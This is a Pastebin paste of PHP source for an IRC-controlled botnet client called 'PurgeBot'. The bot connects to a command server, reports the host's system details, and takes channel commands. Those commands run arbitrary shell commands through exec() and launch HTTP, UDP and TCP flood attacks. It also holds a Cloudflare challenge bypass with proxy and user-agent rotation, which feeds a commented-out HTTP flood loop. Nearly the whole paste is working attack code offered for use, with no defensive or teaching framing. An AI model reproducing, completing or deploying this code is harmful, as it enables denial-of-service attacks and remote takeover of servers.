oppose

Villain's PHP bot

Aug 13th, 2016
148
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.91 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. error_reporting(0);
  4. /*
  5. _____ ____ _
  6. | __ \ | _ \ | |
  7. | |__) | _ _ __ __ _ ___| |_) | ___ | |_
  8. | ___/ | | | '__/ _` |/ _ \ _ < / _ \| __|
  9. | | | |_| | | | (_| | __/ |_) | (_) | |_
  10. |_| \__,_|_| \__, |\___|____/ \___/ \__|
  11. __/ |
  12. |___/
  13. Created by Villain
  14. */
  15. class PURGEIRC {
  16. protected $conf;
  17. protected $command;
  18. protected $stop = 0;
  19. public function __construct()
  20. {
  21. // Call Configuration
  22. $this->conf = array('server' => 'serverip','port' => 443,'channel' => '#boat');
  23. $this->Connect();
  24. }
  25. public function Connect()
  26. {
  27. // Connection Initation
  28. while(true){
  29. if(!($this->connection = fsockopen($this->conf['server'], $this->conf['port'], $errstr, $errno, 10))) $this->Connect();
  30. $this->send("USER purge 127.0.0.1 localhost :" . php_uname() . "");
  31. $this->nickname();
  32. $this->main();
  33. }
  34. }
  35. public function main()
  36. {
  37. // While Connection is Alive initate listener
  38. while(!feof($this->connection)){
  39. $this->join();
  40. if(function_exists('stream_select'))
  41. {
  42. $this->read = array($this->connection);
  43. $write = NULL;
  44. $except = NULL;
  45. $changed = stream_select($this->read, $write, $except, 30);
  46. if($changed == 0)
  47. {
  48. fwrite($this->connection, "PING :lelcomeatme\r\n");
  49. $this->read = array($this->connection);
  50. $write = NULL;
  51. $except = NULL;
  52. $changed = stream_select($this->read, $write, $except, 30);
  53. if($changed == 0) break;
  54. }
  55. }
  56. $this->buffer = trim(fgets($this->connection,512));
  57. $cmd = explode(" ",$this->buffer);
  58. if(substr($this->buffer,0,6)== "PING :") { $this->send("PONG :".substr($this->buffer, 6)); continue; }
  59. if(isset($cmd[1]) && $cmd[1]== "433") { $this->nickname(); continue; }
  60. $rep = str_replace(":", "", $cmd[3]);
  61. switch($rep){
  62. case '.test':
  63. $this->send("PRIVMSG " . $this->conf['channel'] . " testing");
  64. break;
  65. case '.http':
  66. $this->httpflood($cmd[4], $cmd[5], $cmd[6]);
  67. break;
  68. case '.sh':
  69. if($this->send("PRIVMSG " . $this->conf['channel'] . " ATTEMPTING: " . $cmd[4])){
  70. $this->execute($cmd[4]);
  71. }
  72. break;
  73. case '.migrate':
  74. $this->send("PRIVMSG " . $this->conf['channel'] . " MIGRATING IN 3 SECONDS!");
  75. sleep(3);
  76. fclose($this->connection);
  77. $this->Connect();
  78. break;
  79. case '.villainisgod':
  80. $this->send("PRIVMSG " . $this->conf['channel'] . " Fucking your net, thanks to Villain");
  81. sleep(2);
  82. fclose($this->connection);
  83. die("kek");
  84. break;
  85. case '.stop':
  86. $stop++;
  87. break;
  88. case '.udp':
  89. $this->udpflood($cmd[4], $cmd[5] , $cmd[6], $cmd[7]);
  90. break;
  91. case '.tcp':
  92. $this->udpflood($cmd[4], $cmd[5] , $cmd[6]);
  93. break;
  94. case '.help':
  95. $this->ShowMenu();
  96. break;
  97. }
  98. }
  99. }
  100. public function send($command)
  101. {
  102. // Send Commands
  103. fwrite($this->connection, $command . "\r\n");
  104. }
  105. public function nickname()
  106. {
  107. $this->alphabet = array('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z');
  108. $this->nick = "[Linux]-" . $this->alphabet[rand(0,24)] . $this->alphabet[rand(0,24)] . $this->alphabet[rand(0,24)] . $this->alphabet[rand(0,24)] . $this->alphabet[rand(0,24)] . $this->alphabet[rand(0,24)] . $this->alphabet[rand(0,24)] . $this->alphabet[rand(0,24)];
  109. fwrite($this->connection, "NICK " . $this->nick . "\r\n");
  110. }
  111. public function join()
  112. {
  113. // Join Channel
  114. $this->send("JOIN " . $this->conf['channel'] . " ");
  115. }
  116. public function httpflood($host, $time, $power)
  117. {
  118. $this->send("PRIVMSG " . $this->conf['channel'] . " HTTP Flooding: " . $host . " for " . $time . " seconds!");
  119. $endtime = time() + $time;
  120. while(true){
  121. if($endtime <= time()) break;
  122. for($i = 0;$i < $power;$i++){
  123. $this->ch = curl_init();
  124. curl_setopt($this->ch, CURLOPT_URL, $host);
  125. curl_exec($this->ch);
  126. curl_close($this->ch);
  127. }
  128. }
  129. $this->send("PRIVMSG " . $this->conf['channel'] . " HTTP Flood complete!");
  130. }
  131. public function execute($command)
  132. {
  133. exec($command);
  134. $this->send("PRIVMSG " . $this->conf['channel'] . " COMMAND EXECUTED!");
  135. }
  136. public function udpflood($host, $port, $time, $packetsize)
  137. {
  138. $this->alphabet = array('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '!', '£', '$', '%', '^', '&', '*');
  139. $this->send("PRIVMSG " . $this->conf['channel'] . " Attack started");
  140. $packet = $this->alphabet[rand(0,24)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)];
  141. for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
  142. $end = time() + $time;
  143. $multitarget = false;
  144. if(strpos($host, ",") !== FALSE)
  145. {
  146. $multitarget = true;
  147. $host = explode(",", $host);
  148. }
  149. $i = 0;
  150. if($multitarget)
  151. {
  152. $fp = array();
  153. foreach($host as $hostt) $fp[] = fsockopen("udp://".$hostt,$port,$e,$s,5);
  154.  
  155. $count = count($host);
  156. while(true)
  157. {
  158. fwrite($fp[$i % $count],$packet);
  159. fflush($fp[$i % $count]);
  160. if($i % 100 == 0)
  161. {
  162. if($end < time()) break;
  163. if($stop == 1){
  164. $this->send("PRIVMSG " . $this->conf['channel'] . " Attack Holted!");
  165. break;
  166. }
  167. }
  168. $i++;
  169. }
  170.  
  171. foreach($fp as $fpp) fclose($fpp);
  172. } else {
  173. $fp = fsockopen("udp://".$host,$port,$e,$s,5);
  174. while(true)
  175. {
  176. fwrite($fp,$packet);
  177. fflush($fp);
  178. if($i % 100 == 0)
  179. {
  180. if($end < time()) break;
  181. if($stop == true) break;
  182. }
  183. $i++;
  184. }
  185. fclose($fp);
  186. }
  187. $env = $i * $packetsize;
  188. $env = $env / 1048576;
  189. $vel = $env / $time;
  190. $vel = round($vel);
  191. $env = round($env);
  192. $this->send("PRIVMSG " . $this->conf['channel'] . " Broken Pipeline: " . $host . " attack sustained for " . $time . " seconds!");
  193. }
  194. public function tcpflood($host, $port, $time)
  195. {
  196. $this->alphabet = array('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '!', '£', '$', '%', '^', '&', '*');
  197. $this->send("PRIVMSG " . $this->conf['channel'] . " TCP Flood started: " . $host . " for " . $time . " seconds!");
  198. $endtime = time() + $time;
  199. $this->tcpsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  200. while(true){
  201. $packet = $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)];
  202. $log = fopen('test.txt', 'a');
  203. fwrite($log, $packet . "\n");
  204. fclose($log);
  205. /*
  206. socket_connect($this->tcpsock, $host, $port);
  207. fwrite($this->tcpsock, $packet);
  208. socket_close($this->tcpsock);
  209. if($endtime < time()) break;
  210. */
  211. }
  212. $this->send("PRIVMSG " . $this->conf['channel'] . " Tcp Flood has demolished: " . $host);
  213. }
  214. public function ShowMenu()
  215. {
  216. $this->send("PRIVMSG " . $this->conf['channel'] . " [+] UDP FLOOD COMMAND [+]: .udp ip port time packetsize");
  217. $this->send("PRIVMSG " . $this->conf['channel'] . " [+] TCP FLOOD COMMAND [+]: .tcp ip port time");
  218. $this->send("PRIVMSG " . $this->conf['channel'] . " [+] HTTP FLOOD COMMAND [+]: .http url time");
  219. }
  220. public function do_curl($url, $useragent = '', $proxy = '', $header = false, $nobody = false, $followlocation = false, $cookie = '', $timeout = 30)
  221. {
  222. $ch = curl_init();
  223. curl_setopt($ch, CURLOPT_URL, $url);
  224. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  225. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, !!$followlocation);
  226. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  227. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  228. curl_setopt($ch, CURLOPT_ENCODING, '');
  229. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
  230. curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
  231. if ($header) curl_setopt($ch, CURLOPT_HEADER, true);
  232. if ($nobody) curl_setopt($ch, CURLOPT_NOBODY, true);
  233. if (strlen($useragent) > 0) curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  234. if (strlen($proxy) > 0) curl_setopt($ch, CURLOPT_PROXY, $proxy);
  235. if (strlen($cookie) > 0) curl_setopt($ch, CURLOPT_COOKIE, $cookie);
  236. $result = curl_exec($ch);
  237. curl_close($ch);
  238.  
  239. return $result;
  240. }
  241.  
  242. public function get_useragent()
  243. {
  244. //get random user agent
  245. $uas = array( 'Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13C75 Safari/601.1',
  246. 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko',
  247. 'Mozilla/5.0 (Linux; Android 5.0; SM-G900F Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36',
  248. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0',
  249. 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0',
  250. 'Mozilla/5.0 (Linux; Android 6.0.1; SM-G920F Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36',
  251. 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/601.6.17 (KHTML, like Gecko) Version/9.1.1 Safari/601.6.17',
  252. 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko',
  253. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36',
  254. 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36',
  255. 'Mozilla/5.0 (Linux; Android 6.0.1; SAMSUNG SM-G920F Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/4.0 Chrome/44.0.2403.133 Mobile Safari/537.36',
  256. 'Mozilla/5.0 (iPad; CPU OS 9_3_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E238 Safari/601.1',
  257. 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36',
  258. 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36',
  259. 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36',
  260. 'Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13D15 Safari/601.1',
  261. 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36 OPR/37.0.2178.54',
  262. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0',
  263. 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36',
  264. 'Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E238 Safari/601.1',
  265. 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36 OPR/37.0.2178.54',
  266. 'Mozilla/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safari/601.1',
  267. 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36',
  268. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36',
  269. 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',
  270. 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
  271. 'Mozilla/5.0 (X11; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0',
  272. 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36',
  273. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36',
  274. 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36',
  275. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586',
  276. 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21',
  277. 'Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safari/601.1',
  278. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
  279. 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36',
  280. 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
  281. 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36');
  282. return $uas[array_rand($uas)];
  283. }
  284.  
  285. public function get_proxy($filename, $line_length = 4096)
  286. {
  287. //get random line from file
  288. $random_line = '';
  289. if (file_exists($filename) && is_readable($filename))
  290. {
  291. $handle = fopen($filename, 'r');
  292. if ($handle)
  293. {
  294. $line = null;
  295. $count = 0;
  296. while (($line = fgets($handle, $line_length)) !== false)
  297. {
  298. $count++;
  299. if ((mt_rand() % $count) == 0)
  300. $random_line = $line;
  301. }
  302. if (!feof($handle)) //unexpected fgets() fail
  303. $random_line = '';
  304. fclose($handle);
  305. }
  306. }
  307.  
  308. return trim($random_line);
  309. }
  310.  
  311. public function cfbypass($url, $useragent = '', $proxy = '')
  312. {
  313. $ret = array( 'success' => false,
  314. 'msg' => '',
  315. 'cookie' => array());
  316.  
  317. $cookie = array();
  318.  
  319. //get domain and scheme
  320. $url_parsed = parse_url($url);
  321. if (!is_array($url_parsed) || !isset($url_parsed['host']))
  322. {
  323. $ret['msg'] = 'cant determine domain';
  324. return $ret;
  325. }
  326. $url_domain = $url_parsed['host'];
  327. $url_scheme = (isset($url_parsed['scheme']) ? $url_parsed['scheme'] : 'http');
  328.  
  329. //there is an issue with this method. if there is a '+' in the pass parameter, cloudflare does not give clearance (also tested with browser, it is a cloudflare issue)
  330. //so we have to take care to get a pass without a '+'
  331. $lc = 0;
  332. $get = true;
  333. do
  334. {
  335. //get head
  336. $cfuam = $this->do_curl($url, $useragent, $proxy, true, true);
  337.  
  338. //check, if this looks like CF UAM
  339. if (strpos($cfuam, 'cloudflare-nginx') === false || strpos($cfuam, 'chk_jschl') === false)
  340. {
  341. $ret['msg'] = 'no CF UAM';
  342. break;
  343. }
  344.  
  345. //get CF cookie
  346. if (!preg_match('/^Set\-Cookie\: __cfduid\=([a-z0-9]+);/m', $cfuam, $matches_cfuid))
  347. {
  348. $ret['msg'] = 'cant find cookie __cfduid';
  349. break;
  350. }
  351. $cookie['__cfduid'] = '__cfduid='.$matches_cfuid[1];
  352.  
  353. //get refresh URL
  354. if (!preg_match('/^Refresh\: (\d);URL\=(.+)$/m', $cfuam, $matches_refresh_url))
  355. {
  356. $ret['msg'] = 'cant find refresh url';
  357. break;
  358. }
  359. $refresh_url = $url_scheme.'://'.$url_domain.trim($matches_refresh_url[2]);
  360. //keep the check simple
  361. if (strpos($refresh_url, '+') === false)
  362. $get = false;
  363.  
  364. $lc++;
  365. if ($lc > 10)
  366. {
  367. $ret['msg'] = 'lc hit limit';
  368. break;
  369. }
  370. } while ($get);
  371. if ($get)
  372. return $ret;
  373.  
  374. //properly encode query string
  375. if (false !== $q = strpos($refresh_url, '?'))
  376. {
  377. $a = substr($refresh_url, 0, $q);
  378. $b = substr($refresh_url, ($q+1));
  379. parse_str($b, $b);
  380. $refresh_url = $a.'?'.http_build_query($b);
  381. }
  382.  
  383. //wait
  384. usleep((($matches_refresh_url[1] * 1000000) + 100000));
  385.  
  386. //try to get clearance
  387. $cfchk = $this->do_curl($refresh_url, $useragent, $proxy, true, true, false, implode('; ', $cookie));
  388. if (!preg_match('/^Set\-Cookie\: cf_clearance\=(.+);/Um', $cfchk, $matches_cf_clearance))
  389. {
  390. $ret['msg'] = 'did not get clearance';
  391. return $ret;
  392. }
  393. $cookie['cf_clearance'] = 'cf_clearance='.$matches_cf_clearance[1];
  394.  
  395. //return
  396. $ret = array( 'success' => true,
  397. 'msg' => 'successfully bypassed',
  398. 'cookie' => $cookie);
  399. return $ret;
  400. }
  401. /*
  402. $this->send("PRIVMSG " . $this->conf['channel'] . "Usage: <target hostname> <proxy file/nofile> <threads> <time>");
  403. if (count($argv) < 5)
  404. {
  405. $this->send("PRIVMSG " . $this->conf['channel'] . " Invalid parameters");
  406. }
  407. echo PHP_EOL;
  408. echo 'Starting flood on '.$argv[1].' for '.$argv[4].' seconds with '.$argv[3].' threads via proxies from file '.$argv[2].PHP_EOL;
  409. echo PHP_EOL;
  410.  
  411. $cfbypass_debug = false;
  412. $url = $argv[1];
  413. $proxyfile = $argv[2];
  414. $threads = $argv[3];
  415. $expires = (time() + $argv[4]);
  416. for ($i = 1; $i <= $threads; $i++)
  417. {
  418. $pid = pcntl_fork();
  419. if ($pid == -1)
  420. echo 'Warning: Failed to fork thread '.$i.PHP_EOL;
  421. else if ($pid)
  422. continue;//pcntl_wait($status);
  423. else
  424. {
  425. echo 'OK: Started thread '.$i.'. Trying cf bypass...'.PHP_EOL;
  426. $useragent = $this->get_useragent();
  427. $proxy = ($proxyfile == 'nofile' ? '' : $this->get_proxy($proxyfile));
  428. if ($proxy == '' && $proxyfile != 'nofile')
  429. echo 'Warning: No proxy is set on thread '.$i.PHP_EOL;
  430.  
  431. $cfbypass = $this->cfbypass($url, $useragent, $proxy);
  432. if ($cfbypass_debug)
  433. print_r($cfbypass);
  434. if ($cfbypass['success'] === true)
  435. {
  436. echo 'OK: Thread '.$i.' CF bypassed. Starting flood...'.PHP_EOL;
  437. while ($expires >= time())
  438. {
  439. //randomize user agent
  440. $useragent = $this->get_useragent();
  441. $flood = $this->do_curl($url, $useragent, $proxy, false, false, true, implode('; ', $cfbypass['cookie']), 15);
  442. }
  443. }
  444. else
  445. {
  446. echo 'Error: Thread '.$i.' CF not bypassed ('.$cfbypass['msg'].')'.PHP_EOL;
  447. }
  448. echo 'OK: Closing thread '.$i.PHP_EOL;
  449. exit();
  450. }
  451. }
  452. */
  453. }
  454. $purge = new PURGEIRC();
Advertisement
Add Comment
Please, Sign In to add comment